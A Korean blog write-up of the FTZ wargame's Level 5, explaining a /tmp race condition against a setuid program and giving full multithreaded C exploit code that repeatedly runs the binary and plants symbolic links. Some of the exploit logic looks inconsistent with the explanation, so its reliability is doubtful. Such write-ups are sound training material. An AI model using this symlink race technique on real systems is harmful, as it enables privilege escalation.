일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- #IntelManual
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- #
- BEST of the BEST
- #Qt Creator
- Find
- libpcap
- >
- Network
- ftz
- 오버워치
- #Best of the Best #OS #MINT64 #Sqix
- 오버워치 세이버메트릭스
- vim
- FTZ 레벨2
- KASAN
- Sqix
- C++11
- libtins
- Overwatch League SaberMetrics
- linux
- vi
- #MINT64 #Sqix
- vi 외부 명령어
- 인터럽트
- command
- Today
- Total
Sqix
FTZ Level5 본문
힌트는 다음과 같습니다.
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp라는 이름의 임시 파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
일단 level5 파일이 어떤 것인지 확인해 보았습니다
level6 권한으로 setuid가 걸려 있고, level5 권한에서는 실행만 가능합니다.
디버깅은 불가능한 상태입니다. GDB가 안 붙네요.(permission denied)
tmp 파일을 이용한 취약점 공격은 주로 race-condition이라고 하니, race-condition에 대해서 미리 공부를 해야 할 필요가 있습니다.
Race Condition은 임시 파일이 존재할 시, 이를 삭제하는 과정에서의 시간차로 발생하는 취약점입니다.
임시 파일이 만약 존재하면, 다음 과정을 거칩니다.
1) 프로그램 실행
2) 같은 이름의 파일이 존재하는지 체크
3 - 1) 같은 이름의 파일이 존재한다면
-> 해당 파일 삭제
-> 임시 파일 생성
3 - 2) 같은 이름의 파일이 존재하지 않는다면
-> 임시 파일 생성
여기서, 검사 루틴에서 발생하는 시간 차이를 이용해 공격하는 것이 race condition입니다.
이를 위해서는 해당 이름과 동일한 이름으로 파일을 생성하고, 거기에 생성될 임시 파일에 심볼릭 링크를 걸어 줍니다.
이 경우, setuid가 걸린 실행 프로그램이라면 임시로 root 권한을 획득하게 되고, 그렇다면 심볼릭 링크 파일을 수정하여 원본 파일 역시 수정할 수 있게 됩니다.
즉, 심볼릭 링크를 걸 파일을 생성하여 임시 파일을 생성할 때 계속해서 심볼릭 링크를 걸게 만들면, 이 틈을 이용할 수 있습니다.
저는 이에 가장 걸맞는 것이 multi-threading이라고 생각하여 이를 이용하겠습니다.
먼저 임시 파일을 생성하는 프로그램을 실행하는 코드를 담은 쓰레드를 생성합니다.
void *init_tmp(void)
{
int i = 0;
for(;i < 200; i++)
{
system("/usr/bin/level5&");
}
exit(0);
}
또한, exploit을 위한 쓰레드를 생성합니다.
void *exploit(void)
{
system("touch /tmp/level5.tmp");
int i = 0;
for(;i < 200; i++)
{
system("ln -s /tmp/level5.tmp /home/level5/tmp/level5.tmp &");
system("cat /tmp/ex.txt");
}
exit(0);
}
이렇게 두 쓰레드를 운용하게 되면, 운이 좋다면 저 파일 삭제 - 임시 파일 생성의 과정에서 /tmp/level5.tmp가 /home/level5/tmp/level5.tmp에 심볼릭 링크를 거는 경우가 생깁니다.
이렇게 되면 /tmp/level5.tmp에 /home/level5/tmp/level5.tmp의 내용이 담기게 되고, 이를 확인할 수 있습니다.
전체 코드는 다음과 같습니다.
ex.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
void *init_tmp(void)
{
int i = 0;
for(i = 0 ; i < 10 ; i++)
{
system("/usr/bin/level5 &");
}
exit(0);
}
void *exploit(void)
{
system("touch /tmp/level5.tmp");
int i = 0;
for(i = 0 ; i < 10 ; i++)
{
system("ln -s /tmp/level5.tmp /home/level5/tmp/level5.tmp &");
system("cat /tmp/ex.txt");
}
exit(0);
}
int main(void)
{
pthread_t tid[2];
char *init = "init_tmp";
char *ex = "exploit";
int thread_ret[2];
thread_ret[0] = pthread_create(&tid[0], NULL, init_tmp, (void*) init);
thread_ret[1] = pthread_create(&tid[1], NULL, exploit, (void*) ex);
if(thread_ret[0] < 0 || thread_ret[1] < 0)
{
perror("thread create error : ");
exit(0);
}
pthread_join(tid[0],NULL);
pthread_join(tid[1],NULL);
return 0;
}
'Wargame > FTZ' 카테고리의 다른 글
FTZ Level7 (0) | 2018.06.12 |
---|---|
FTZ Level6 (0) | 2018.06.12 |
FTZ Level4 (0) | 2018.06.12 |
FTZ Level3 (0) | 2018.06.12 |
FTZ Level2 (0) | 2018.06.11 |